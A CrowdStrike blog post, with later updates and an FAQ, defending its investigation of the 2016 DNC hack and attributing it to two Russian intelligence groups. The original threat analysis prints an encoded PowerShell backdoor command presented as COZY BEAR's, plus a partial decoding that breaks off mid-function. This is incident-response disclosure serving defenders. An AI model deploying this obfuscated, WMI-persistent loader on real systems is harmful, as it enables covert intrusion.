https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

CrowdStrike's work with the Democratic National Committee: Setting the record straight

Intrusion Into The Democratic National Committee

June 5, 2020 UPDATE

Blog update following the release of the testimony by Shawn Henry, CSO and President of CrowdStrike Services, before the House Intelligence Committee that was recently declassified.

What was CrowdStrike's role in investigating the hack of the DNC?

CrowdStrike was contacted on April 30, 2016 to respond to a suspected breach. We began our work with the DNC on May 1, 2016, collecting intelligence and analyzing the breach. After conducting this analysis and identifying the adversaries on the network, on June 10, 2016 we initiated a coordinated remediation event to ensure the intruders were removed and could not regain access. That remediation process lasted approximately 2-3 days and was completed on June 13, 2016.

Why did the DNC contact CrowdStrike?

The DNC contacted CrowdStrike to respond to a suspected cyber attack impacting its network. The DNC was first alerted to the hack by the FBI in September 2015. According to testimony by DNC IT contractor Yared Tamene Wolde-Yohannes, the FBI attributed the breach to the Russian Government in September 2015 (page 7).

Why did the DNC hire CrowdStrike instead of just working with the FBI to investigate the hack?

The FBI doesn't perform incident response or network remediation services when organizations need to get back to business after a breach.

CrowdStrike is a leader in protecting customers around the world from cyber threats. It is common for organizations to hire third-party industry experts, like CrowdStrike, to investigate and remediate cyber attacks when they suspect a breach even if they are collaborating with law enforcement. As John Carlin, former Assistant Attorney General for the National Security Division at The Department of Justice, testified before the House Intelligence Committee (cited from page 21 of his testimony):

"A lot of — outside of any political organization, companies, most corporations, they often would use these third party contractors, who they hired through their own counsel, and maximize the control from the point of view of the victim."

Did CrowdStrike have proof that Russia hacked the DNC?

Yes, and this is also supported by the U.S. Intelligence community and independent Congressional reports.

Following a comprehensive investigation that CrowdStrike detailed publicly, the company concluded in May 2016 that two separate Russian intelligence-affiliated adversaries breached the DNC network.

To reference, CrowdStrike's account of their DNC investigation, published on June 14, 2016, "CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a suspected breach. We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network – COZY BEAR and FANCY BEAR…. At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016."

This conclusion has most recently been supported by the Senate Intelligence Committee in April 2020 issuing a report [intelligence.senate.gov] validating the previous conclusions of the Intelligence community, published on January 6, 2017, that Russia was behind the DNC data breach.

The Senate report states on page 48:

"The Committee found that specific intelligence as well as open source assessments support the assessment that President Putin approved and directed aspects of this influence campaign."

Furthermore, in his testimony in front of the House Intelligence Committee, Shawn Henry stated the following with regards to CrowdStrike's degree of confidence that the intrusion activity can be attributed to Russia, cited from page 24:

HENRY: We said that we had a high degree of confidence it was the Russian Government. And our analysts that looked at it and that had looked at these types of attacks before, many different types of attacks similar to this in different environments, certain tools that were used, certain methods by which they were moving in the environment, and looking at the types of data that was being targeted, that it was consistent with a nation-state adversary and associated with Russian intelligence.

Have any other organizations concluded that Russia was behind the DNC hack?

Yes. CrowdStrike's conclusion that Russia was behind the DNC hack is supported by the U.S. Intelligence community and also by independent Congressional reports. Most recently, the Senate Intelligence Committee released a report in April 2020 that validated the previous conclusions of the Intelligence Community Assessment, published on January 6, 2017, all concluding that Russia was behind the DNC data breach.

Page 157 of the Senate report states that the Select Committee on Intelligence "conducted an extensive examination of the intelligence demonstrating Russia's intrusions into DNC networks." Senator Richard Burr (R – North Carolina), who served as Chairman of the Senate Intelligence Committee at the time the report was issued, confirmed this finding: "The Committee found no reason to dispute the Intelligence Community's conclusions."

The Intelligence Community Assessment, published on January 6, 2017 also confirms that Russia was behind the DNC hack, stating on page 2 of the report: "In July 2015, Russian intelligence gained access to Democratic National Committee (DNC) networks and maintained that access until at least June 2016. This unclassified ODNI report was based on extensive classified intelligence collected by

the CIA, NSA, and FBI; the ODNI determined the classified intelligence should not be released in order to protect the sensitive sources and methods by which it was collected.

It's also worth noting that other security companies, including Fidelis and FireEye have supported CrowdStrike's analysis.

Does CrowdStrike have evidence that data was exfiltrated from the DNC network?

Yes. Shawn Henry stated in his testimony to the House Intelligence Committee that CrowdStrike had indicators of exfiltration (page 32) and that data had clearly left the network. Also, on page 2, the Intelligence Community Assessment also confirmed that the Russian intelligence agency GRU "had exfiltrated large volumes of data from the DNC."

Did CrowdStrike see in real-time the adversaries exfiltrate data and emails from the DNC network?

No and that's typical for incident response cases. In the vast majority of cyber investigations, incident responders don't witness exfiltration in real-time. In fact, often we are called in after theft has taken place. We collect forensics, evidence of prior activity on the network, map where the adversary has gained access and prepare remediation plans.

In this particular case, CrowdStrike saw circumstantial evidence of data exfiltration from the DNC network. As a reference point circumstantial evidence is the type of evidence such as DNA analysis or fingerprints that are fully admissible in courts.

Shawn Henry stated in his testimony that CrowdStrike had indicators of exfiltration (page 32 of the testimony):

"Counsel just reminded me that, as it relates to the DNC' we have indicators that data was exfiltrated. We did not have concrete evidence that data was exfiltrated from the DNC, but we have indicators that it was exfiltrated.' and circumstantial evidence that data was taken as he states on page 75 "so there is circumstantial evidence that it was taken" and page 76:

"MR. HENRY: So, to go back, because I think it's important to characterize this. We didn't have a network sensor in place that saw data leave' We said that the data Ieft based on the circumstantial evidence. That was a conclusion that we made. when I answered that question, I was trying to be as factually accurate' I want to provide the facts. so I said that we didn't have direct evidence' But we made a conclusion that the data left the network."

On page 32 of the testimony, Henry also explains that

"We don't have video of it happening, but there are indicators that it happened" and "we did not have concrete evidence that data was exfiltrated from the DNC, but we have indicators that it was exfiltrated." As another reference point, the independent report by Special Counsel Robert S. Mueller also cites the theft of documents from the DNC and DCCC on page 40, stating the following:

"Officers from Unit 26165 stole thousands of documents from the DCCC and DNC networks, including significant amounts of data pertaining to the 2016 U.S. federal elections. Stolen documents included internal strategy documents, fundraising data, opposition research, and emails from the work inboxes of DNC employees."

Is it true that part of the exfiltration happened after CrowdStrike was already engaged by the DNC?

This question about the specific timeline of the exfiltration is addressed directly by Shawn Henry in his testimony on page 26.

“MR. HENRY: So the analysis started the first day or two in May, and then that was about 4 to 6 weeks. I think, on June 10th, we started what we call the remediation event. so we collected enough intelligence. We identified where the adversaries were in the environment’ We came up with a remediation plan to say we see them in multiple locations. This – these are the actions that we need to execute in order to put a new infrastructure in place and to ensure that the adversaries don’t have access to the new infrastructure. So that would have been June 10th when we started. And we did the remediation event over a couple of days.”

Of note, it is a standard practice in incident response to first coordinate a remediation event to prevent the adversary from doing further damage and following that to fully restore network functionality. We followed industry best practices to accomplish the fastest remediation path for our customer.

On page 27 of Shawn Henry’s testimony, he further explains CrowdStrike’s role as incident responders:

“To be clear, our goal, my goal was to protect the client. We were hired to protect the client. We identified an adversary there. The goal was to make sure that the adversary was removed and the client had a clean environment with which to work.”

Did any DNC endpoints protected by your technology get breached in subsequent attacks?

There is no indication of subsequent breaches taking place on any DNC machine protected by CrowdStrike Falcon.

Do you have a comment about the allegation that Russia stole Democratic Party emails from John Podesta and then passed them to WikiLeaks?

CrowdStrike was not involved in investigating John Podesta’s email leaks. Henry says on page 62 of this testimony, he “has no relationship with them [the Podesta emails].”

What is the timeline of the DNC hack?

According to public records, this is the timeline of the DNC hack that CrowdStrike was hired to investigate. :

Beginning in July 2015: “Russian intelligence gained access to Democratic National Committee (DNC) networks (page 2).

Sept. 25, 2015: An FBI agent contacted the DNC Information Technology director/contractor in charge of the DNC network, alerting him to suspicious activity in the network and referencing the “Dukes” (p16), a well-known pseudonym in the cybersecurity community for Russian government

actors. The FBI agent called the DNC again in October 2015, November 2015, December 2015 (p12) asking the contractor to "corroborate, to look into specific activities that the FBI had noticed emanating from the DNC network that could be nefarious." (p8)

Beginning in December 2015: Russian intelligence actors engaged in attacks on election systems, including scanning a "widely used vendor of election systems," according to DHS. The attacks continued through June 2016 (p30.)

Beginning April 2016: The GRU "…stole thousands of documents from the DCCC and DNC networks, including significant amounts of data pertaining to the 2016 U.S. federal elections. Stolen documents included internal strategy documents, fundraising data, opposition research, and emails from the work inboxes of DNC employees." (p40)

April 14, 2016: "The GRU began stealing DCCC data shortly after it gained access to the network. On April 14, 2016 (approximately three days after the initial intrusion) GRU officers downloaded rar.exe onto the DCCC's document server. The following day, the GRU searched one compromised DCCC computer for files containing search terms that included "Hillary," "DNC," "Cruz," and "Trump."

April 28, 2016: The DNC contractor discovered unusual activity on the DNC network. "…the first day that we found activity on our network that was unusual, nefarious by adversaries…" "we saw sort of very loud activity… on one of our Window servers that couldn't have been done by one of us…an authorized user. The kinds of activity we were looking at was accessing multiple different password vaults of different users, which is not something that anyone would do. And so that triggered an alarm for us…" (p24)

April 30, 2016: CrowdStrike was contacted by the DNC outside counsel to discuss a suspected breach. This was CrowdStrike's first involvement in this matter. (p6)

May 1-2, 2016: CrowdStrike initiated an investigation into the breach of the DNC network. (p26)

June 10-13, 2016: The DNC network remediation took place. (p35)

June 13, 2016: CrowdStrike and the DNC outside counsel alerted the FBI that they had identified Russian actors on the DNC network. (p35)

June 2016: The FBI requested forensic information, indicators of compromise (pieces of malicious code) that CrowdStrike discovered on the DNC computer network. With DNC permission, CrowdStrike continued to share information from the breach through December 2016, including "digital images" or copies of hard-drives. (p35)

June 14, 2016: The DNC, via CrowdStrike, publicly announced the breach of the DNC network and detailed its investigation.

July 29, 2016: The DCCC publicly announced it was a victim of Russian hacking.

August 26, 2016: Separate cyber activity continued on state election systems through Dec 29, 2016 (p25-26.) Later it was discovered the Russians had, at least, scanned a total of 21 state election infrastructures. (p50)

September 20, 2016: "On September 20, 2016, the GRU began to generate copies of the DNC data using [redacted] function designed to allow users to produce backups of databases (referred to [redacted] as "snapshots"). The GRU then stole those snapshots by moving them to [redacted]

account that they controlled, from there the copies were moved to GRU-controlled computers. The GRU stole approximately 300 gigabytes of data from the DNC cloud-based account." (pp 49-50)

October 7, 2016: DHS & ODNI release joint statement about stolen emails: "The U.S. Intelligence Community (USIC) is confident that the Russian Government directed the recent compromises of e-mails from US persons and institutions, including from US political organizations….These thefts and disclosures are intended to interfere with the US election process.(p1)

January 6, 2017. "The Department of Homeland Security (DHS) designated the infrastructure used to administer the Nation's elections as critical infrastructure. This designation recognizes that the United States' election infrastructure is of such vital importance to the American way of life that its incapacitation or destruction would have a devastating effect on the country." (p1)

January 22, 2020 UPDATE

CrowdStrike is non-partisan – we routinely work with both Republican and Democratic organizations to protect them from cyber-attacks – along with thousands of other organizations around the world of all industries and sizes.

Here are a few key facts about CrowdStrike:

We were founded in California and are headquartered in the heart of Silicon Valley in Sunnyvale, California. We are one of the fastest growing global companies in cybersecurity today.

Our founders have no connections to Ukraine. Suggestions to the contrary are completely false.

We have never had physical possession of the DNC servers. We conducted our investigation using a process called "imaging" — an established practice in cyber investigations that involves making a copy of the hard drives and memory. This is standard procedure for cyber investigations.

We worked closely with law enforcement and provided all forensic evidence and analysis to the FBI as requested.

We are proud of our work and will remain focused on our mission of protecting our customers around the world from dangerous cyber threats. We are grateful that the media has debunked false claims about our work for the Democratic National Committee (DNC) in 2016:

The Washington Post, The Russians manipulated our elections. We helped.

An opinion piece by David Ignatius discussing the lessons from Thomas Rid's new book, making the case that the 2016 election meddling was a proven example of Russia's disinformation tenet.

The New York Times, Republican-Led Review Backs Intelligence Findings on Russian Interference:

A three-year review by the Republican-led Senate Intelligence Committee unanimously found that the intelligence community assessment stating that Russia breached the DNC was fundamentally sound and untainted by politics.

NBC News, Meet the Press 12/29/19:

Clint Watts and Chuck Todd discuss CrowdStrike and the conspiracy theory that has been debunked.

Transcript here: https://www.nbcnews.com/meet-the-press/meet-press-december-29-2019-n1106036

The Washington Post, In call to Ukraine's president, Trump revived a favorite conspiracy theory about the DNC hack:

Discusses the CrowdStrike conspiracy theory and how it has been debunked.

CNN Business, What is CrowdStrike and why is it part of the Trump whistleblower complaint?:

Gives background on CrowdStrike and debunks the conspiracy theory

Wired, How Trump's Ukraine Mess Entangled CrowdStrike:

Discusses the CrowdStrike theory and debunks the idea that there is a missing server.

NBC News, Debunking The Crowdstrike Conspiracy Theory

Discusses the CrowdStrike theory and how it has been debunked.

The Daily Beast, The Truth About Trump's Insane Ukraine 'Server' Conspiracy:

Describes why Trump's theories about Ukraine and CrowdStrike have been debunked.

CNN, "Don't miss the totally debunked conspiracy theory Donald Trump pushed in the Ukraine call"

Discusses the conspiracy theory and how it has been debunked.

September 25, 2019 Update:

With regards to our investigation of the DNC hack in 2016, we provided all forensic evidence and analysis to the FBI. As we've stated before, we stand by our findings and conclusions that have been fully supported by the US Intelligence community.

FAQ on Recent News Coverage of CrowdStrike

Is your owner Ukrainian?

No. CrowdStrike was founded by George Kurtz and Dmitri Alperovitch. George is an American entrepreneur and recognized security expert, author, entrepreneur, and speaker. He also started Foundstone, a worldwide security products and services company that was acquired by McAfee in 2004.

CrowdStrike's Co-founder Dmitri Alperovitch is a Russia-born U.S. citizen, who has spent all of his adult life in the United States, and has no connection to Ukraine.

As a public company, our ownership is available on the SEC.gov website.

Do you stand behind your work for the DNC?

As we've repeatedly stated, we stand by the findings and analysis of our investigation, and, as detailed in our company statement, we've provided all forensic evidence and analysis to the FBI as requested. Additionally, our findings have been supported by the U.S. intelligence community and other cybersecurity companies.

The investigation is detailed on our blog below.

Did you comply with FBI's requests for information?

We've provided all forensic evidence and analysis to the FBI related to the DNC investigation as requested. We have never declined any request for information from the FBI related to this investigation, and there are no pending requests for information by the FBI.

Do you have the DNC servers?

We have never taken physical possession of any DNC servers. When cyber investigators respond to an incident, they capture that evidence in a process called "imaging." It involves making an exact byte-for-byte copy of the hard drives. They do the same for the machine's memory, capturing evidence that would otherwise be lost at the next reboot, and they monitor and store the traffic passing through the victim's network. This has been standard procedure in incident response investigations for decades. The images, not the computer's hardware, provide the evidence.

Our cloud-native, crowdsourced approach to solving cybersecurity enables us to deliver state- of-the-art protection to organizations big and small. Consequently, we are proud that customers from every major industry, level of government, and political affiliation turn to CrowdStrike to stop breaches.

Are you affiliated with the Democratic party?

CrowdStrike is not affiliated with any political party. We are a public cybersecurity company, and are non-partisan. We have done cybersecurity work for, and currently protect, both Republican and Democratic political organizations at the state, local, and federal level, and we have thousands of non-political companies and organizations as customers.

Do you have Secretary Hillary Clinton's email server? Have you ever had access to her emails?

No. We have never worked for Secretary Clinton or her campaign, and never had access to her server or emails.

Where can I find more information?

Many news outlets have written about CrowdStrike's investigation of the DNC hack and subsequent comments made by President Trump. You can learn more at:

NBC News, November 14, 2019: Debunking The Crowdstrike Conspiracy Theory

CNN, September 30, 2019: "Don't miss the totally debunked conspiracy theory Donald Trump pushed in the Ukraine call"

AP/Washington Post, September 27, 2019: "Why Trump asked Ukraine's president about 'CrowdStrike'"

Daily Beast, September 25, 2019: "The Truth About Trump's Insane Ukraine 'Server' Conspiracy"

Wired, September 25, 2019: "How Trump's Ukraine Mess Entangled CrowdStrike"

Daily Beast, July 17, 2019: "Trump's 'Missing DNC Server' Is Neither Missing Nor a Server"

Security Week, October 4, 2018: "The DNC Hacker Indictment: A Lesson in Failed Misattribution"

Daily Beast, July 16, 2018 : "Trump's 'Missing DNC Server' Is Neither Missing Nor a Server"

Daily Beast, June 13, 2018: "Mueller Indicts 12 Russian Officers for Hacking Dems in 2016"

U.S. Department of Justice Indictment, June 13, 2018: "Case 1:18-cr-00215-ABJ"

ArsTechnica, March 23, 2018: "DNC "lone hacker" Guccifer 2.0 pegged as Russian spy after opsec fail"

Tech Crunch, March 22, 2018: "More evidence ties alleged DNC hacker Guccifer 2.0 to Russian intelligence"

AP, January 26, 2018: "Report: Dutch spies caught Russian hackers on tape"

De Volkskrant, January 25, 2018: "Dutch Intelligence Watched Russian Hackers Attack the U.S"

AP, November 2, 2017: "Russia hackers pursued Putin foes, not just US Democrats"

The Hill, August 14, 2017: "Why the latest theory about the DNC not being hacked is probably wrong"

Daily Beast, July 20, 2017: "Putin's Hackers Now Under Attack—From Microsoft"

Washington Post, July 6, 2017: "Here's the public evidence that supports the idea that Russia interfered in the 2016 election"

Senate testimony of Thomas Rid, March 30, 2017

Senate testimony of Kevin Mandia, March 30, 2017

Wired Magazine, March 5, 2017: "Hunting the DNC hackers: how Crowdstrike found proof Russia hacked the Democrats"

New York Times, Jan. 6, 2017: "Intelligence Report on Russian Hacking" (includes full copy of the official U.S. Intelligence and Law Enforcement Agency report):

New York Times, Dec. 13, 2016: "The Perfect Weapon: How Russian Cyberpower Invaded the U.S."

Washington Post, June 20, 2016: "Cyber researchers confirm Russian government hack of Democratic National Committee"

ThreatConnect Blog, June 17, 2016: “Rebooting Watergate: Tapping into the Democratic National Committee”

SecureWorks Blog, June 16, 2016: “Russian Threat Group Targets Clinton Campaign”

June 15, 2016 UPDATE:

CrowdStrike stands fully by its analysis and findings identifying two separate Russian intelligence-affiliated adversaries present in the DNC network in May 2016. On June 15, 2016 a blog post to a WordPress site authored by an individual using the moniker Guccifer 2.0 claimed credit for breaching the Democratic National Committee. This blog post presents documents alleged to have originated from the DNC.

Whether or not this posting is part of a Russian Intelligence disinformation campaign, we are exploring the documents’ authenticity and origin. Regardless, these claims do nothing to lessen our findings relating to the Russian government’s involvement, portions of which we have documented for the public and the greater security community.

June 14, 2016

Bears in the Midst: Intrusion Into the Democratic National Committee

By Dmitri Alperovitch

There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe. In all of these cases, we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks. But on rare occasions, a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers. This story is about one of those cases.

CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a suspected breach. We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network – COZY BEAR and FANCY BEAR. We’ve had lots of experience with both of these actors attempting to target our customers in the past and know them well. In fact, our team considers them some of the best threat actors out of all the numerous nation-state, criminal and hacktivist/terrorist groups we encounter on a daily basis. Their tradecraft is superb, operational security second to none and the extensive usage of ‘living-off-the-land’ techniques enables them to easily bypass many security solutions they encounter. In particular, we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and ‘access management’ tradecraft – both groups were constantly going back into the environment to change out their implants, modify persistent methods, move to new Command & Control channels and perform other tasks to try to stay ahead of being detected. Both adversaries engage in extensive political and economic espionage for the benefit of the government of the

Russian Federation and are believed to be closely linked to the Russian government's powerful and highly capable intelligence services.

COZY BEAR (also referred to in some industry reports as CozyDuke or APT 29) is the adversary group that last year successfully infiltrated the unclassified networks of the White House, State Department, and US Joint Chiefs of Staff. In addition to the US government, they have targeted organizations across the Defense, Energy, Extractive, Financial, Insurance, Legal, Manufacturing Media, Think Tanks, Pharmaceutical, Research and Technology industries, along with Universities. Victims have also been observed in Western Europe, Brazil, China, Japan, Mexico, New Zealand, South Korea, Turkey and Central Asian countries. COZY BEAR's preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper. Once executed on the machine, the code will deliver one of a number of sophisticated Remote Access Tools (RATs), including AdobeARM, ATI-Agent, and MiniDionis. On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a debugger, or located within a sandbox. They have extensive checks for the various security software that is installed on the system and their specific configurations. When specific versions are discovered that may cause issues for the RAT, it promptly exits. These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection, and which would cause them to deploy a different tool instead. The implants are highly configurable via encrypted configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and others. An HTTP protocol with encrypted payload is used for the Command & Control communication.

FANCY BEAR (also known as Sofacy or APT 28) is a separate Russian-based threat actor, which has been active since mid 2000s, and has been responsible for targeted intrusion campaigns against the Aerospace, Defense, Energy, Government and Media sectors. Their victims have been identified in the United States, Western Europe, Brazil, Canada, China, Georgia, Iran, Japan, Malaysia and South Korea. Extensive targeting of defense ministries and other military victims has been observed, the profile of which closely mirrors the strategic interests of the Russian government, and may indicate affiliation with Главное Разведывательное Управление (Main Intelligence Department) or GRU, Russia's premier military intelligence service. This adversary has a wide range of implants at their disposal, which have been developed over the course of many years and include Sofacy, X-Agent, X-Tunnel, WinIDS, Foozer and DownRage droppers, and even malware for Linux, OSX, IOS, Android and Windows Phones. This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target. Afterwards, they establish phishing sites on these domains that spoof the look and feel of the victim's web-based email services in order to steal their credentials. FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France's TV5 Monde TV station in April 2015.

At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016. We have identified no collaboration between the two actors, or even an awareness of one by the other. Instead, we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials. While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other's operations, in Russia this is not an uncommon scenario. "Putin's Hydra: Inside Russia's Intelligence Services", a recent paper from European Council on Foreign Relations, does an excellent job outlining the highly adversarial relationship between Russia's main intelligence services – Федеральная Служба Безопасности

(FSB), the primary domestic intelligence agency but one with also significant external collection and 'active measures' remit, Служба Внешней Разведки (SVR), the primary foreign intelligence agency, and the aforementioned GRU. Not only do they have overlapping areas of responsibility, but also rarely share intelligence and even occasionally steal sources from each other and compromise operations. Thus, it is not surprising to see them engage in intrusions against the same victim, even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations.

The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule. The Powershell backdoor is ingenious in its simplicity and power. It consists of a single obfuscated command setup to run persistently, such as:

powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand
ZgB1AG4AYwB0AGkAbwBuACAAcABlAHIAZgBDAHIAKAAkAGMAcgBUAHIALAAgACQAZABhAHQAYQA
pAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJABuAHUAbABsAA0ACgAJAHQAcgB5AHsADQAKAAk
ACQAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8AL
gBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQANAAoACQAJACQAYwBzACAAPQAgAE4AZQB3AC0ATwB
iAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvA
GcAcgBhAHAAaAB5AC4AQwByAHkAcAB0AG8AUwB0AHIAZQBhAG0AIAAtAEEAcgBnAHUAbQBlAG4A
dABMAGkAcwB0ACAAQAAoACQAbQBzACwAIAAkAGMAcgBUAHIALAAgAFsAUwB5AHMAdABlAG0AL
gBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEMAcgB5AHAAdA
BvAFMAdAByAGUAYQBtAE0AbwBkAGUAXQA6ADoAVwByAGkAdABlACkADQAKAAkACQAkAGMAcw
AuAFcAcgBpAHQAZQAoACQAZABhAHQAYQAsACAAMAAsACAAJABkAGEAdABhAC4ATABlAG4AZwB0
AGgAKQANAAoACQAJACQAYwBzAC4ARgBsAHUAcwBoAEYAaQBuAGEAbABCAGwAbwBjAGsAKAApA
A0ACgAJAAkAJAByAGUAdAAgAD0AIAAkAG0AcwAuAFQAbwBBAHIAcgBhAHkAKAApAA0ACgAJAAkAJ
ABjAHMALgBDAGwAbwBzAGUAKAApAA0ACgAJAAkAJABtAHMALgBDAGwAbwBzAGUAKAApAA0ACg
AJAH0ADQAKAAkAYwBhAHQAYwBoAHsAfQANAAoACQByAGUAdAB1AHIAbgAgACQAcgBlAHQADQA
KAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABkAGUAYwByAEEAZQBzACgAJABlAG4AYwBEA
GEAdABhACwAIAAkAGsAZQB5ACwAIAAkAGkAdgApAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJ
ABuAHUAbABsAA0ACgAJAHQAcgB5AHsADQAKAAkACQAkAHAAcgBvAHYAIAA9ACAATgBlAHcALQBPA
GIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQBrAEB5AC4AQwByAHkAcAB0AG
8AZwByAGEAcABoAHkALgBSAGkAagBuAGQAYQBlAGwATQBhAG4AYQBnAGUAZAANAAoACQAJACQ
AcABvAG8AdgAuAEsAZQB5ACAAPQAgACQAawBlAHkADQAKAAkACQAkAHAAcgBvAHYALgBJAFYAIAA
9ACAAJABpAHYADQAKAAkACQAkAGQAZQBjAHIAIAA9ACAAJABwAHIAbwB2AC4AQwByAGUAYQB0A
GUARABlAGMAcgB5AHAAdABvAHIAKAAkAHAAcgBvAHYALgBLAGUAeQAsACAAJABwAHIAbwB2AC4A
SQBWACkADQAKAAkACQAkAHIAZQB0ACAAPQAgAHAAZQByAGYAQwByACAAJABkAGUAYwByACAAJ
ABlAG4AYwBEAGEAdABhAA0ACgAJAH0ADQAKAAkAYwBhAHQAYwBoAHsAfQANAAoACQByAGUAdA
B1AHIAbgAgACQAcgBlAHQADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABzAFcAUAAo
ACQAYwBOACwAIAAkAHAATgAsACAAJABhAEsALAAgACQAYQBJACkADQAKAHsADQAKAAkAaQBmAC
gAJABjAE4AIAAtAGUAcQAgACQAbgB1AGwAbAAgAC0AbwByACAAJABwAE4AIAAtAGUAcQAgACQAbg
B1AGwAbAApAHsAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQB9AA0ACgAJAHQAcgB5AHsADQAK
AAkACQAkAHcAcAAgAD0AIAAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJABjAE4AKQAuAFAAcgBvAHAAZ
QByAHQAaQBlAHMAWwAkAHAATgBdAC4AVgBhAGwAdQBlAA0ACgAJAAkAJABlAHgARQBuACAAPQ
AgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnA

CgAJAB3AHAAKQANAAoACQAJACQAZQB4AEQAZQBjACAAPQAgAGQAZQBjAHIAQQBlAHMAIAAkAGU
AeABFAG4AIAAkAGEASwAgACQAYQBJAA0ACgAJAAkAJABlAHgAIAA9ACAAWwBUAGUAeAB0AC4ARQ
BuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZQ
B4AEQAZQBjACkADQAKAAkACQBpAGYAKAAkAGUAeAAgAC0AZQBxACAAJABuAHUAbABsACAALQBv
AHIAIAAkAGUAeAAgAC0AZQBxACAAJwAnACkADQAKAAkACQB7AHIAZQB0AHUAcgBuAH0ADQAKAA
kACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAGUAeAANAAoACQAJAHIAZ
QB0AHUAcgBuACAAJAB0AHIAdQBlAA0ACgAJAH0ADQAKAAkAYwBhAHQAYwBoAHsADQAKAAkACQB
yAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlAA0ACgAJAH0ADQAKAH0ADQAKAA0ACgAkAGEAZQBLA
CAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgACgAMAB4AGUANwAsACAAMAB4AGQANgAsACAAMAB4A
GIAZQAsACAAMAB4AGEAOQAsACAAMAB4AGIANwAsACAAMAB4AGUANgAsACAAMAB4ADUANQAs
ACAAMAB4ADMAYQAsACAAMAB4AGUAZQAsACAAMAB4ADEANgAsACAAMAB4ADcAOQAsACAAMA
B4AGMAYQAsACAAMAB4ADUANgAsACAAMAB4ADAAZgAsACAAMAB4AGIAYwAsACAAMAB4ADMAZ
gAsACAAMAB4ADIAMgAsACAAMAB4AGUAZAAsACAAMAB4AGYAZgAsACAAMAB4ADAAMgAsACAA
MAB4ADQAMwAsACAAMAB4ADQAYwAsACAAMAB4ADEAYgAsACAAMAB4AGMAMAAsACAAMAB4A
GUANwAsACAAMAB4ADUANwAsACAAMAB4AGIAMgAsACAAMAB4AGMAYgAsACAAMAB4AGQAOA
AsACAAMAB4AGMAZQAsACAAMAB4AGQAYQAsACAAMAB4ADAAMAApAA0ACgAkAGEAZQBJACAAP
QAgAFsAYgB5AHQAZQBbAF0AXQAgACgAMAB4AGIAZQAsACAAMAB4ADcAYQAsACAAMAB4ADkAM
AAsACAAMAB4AGQAOQAsACAAMAB4AGQANQAsACAAMAB4AGYANwAsACAAMAB4AGEAYQAsACA
AMAB4ADYAZAAsACAAMAB4AGUAOQAsACAAMAB4ADEANgAsACAAMAB4ADYANAAsACAAMAB4A
DEAZAAsACAAMAB4ADkANwAsACAAMAB4ADEANgAsACAAMAB4AGMAMAAsACAAMAB4ADYANwA
pAA0ACgBzAFcAUAAgACcAVwBtAGkAJwAgACcAVwBtAGkAJwAgACQAYQBlAEsAIAAkAGEAZQBJACAA
fAAgAE8AdQB0AC0ATgB1AGwAbAA=

This decodes to:

```
function perfCr($crTr, $data){

$ret = $null

try{

$ms = New-Object System.IO.MemoryStream

$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr,
[System.Security.Cryptography.CryptoStreamMode]::Write)

$cs.Write($data, 0, $data.Length)

$cs.FlushFinalBlock()

$ret = $ms.ToArray()

$cs.Close()

$ms.Close()

}

catch{}

return $ret

}

function decrAes($encData, $key, $iv)
```

```
{
$ret = $null
try{
$prov = New-Object System.Security.Cryptography.RijndaelManaged
$prov.Key = $key
$prov.IV = $iv
$decr = $prov.CreateDecryptor($prov.Key, $prov.IV)
$ret = perfCr $decr $encData
}
Catch{}
return $ret
}
function sWP($cN, $pN, $aK, $aI)
{
if($cN -eq $null -or $pN -eq $null){return $false}
try{
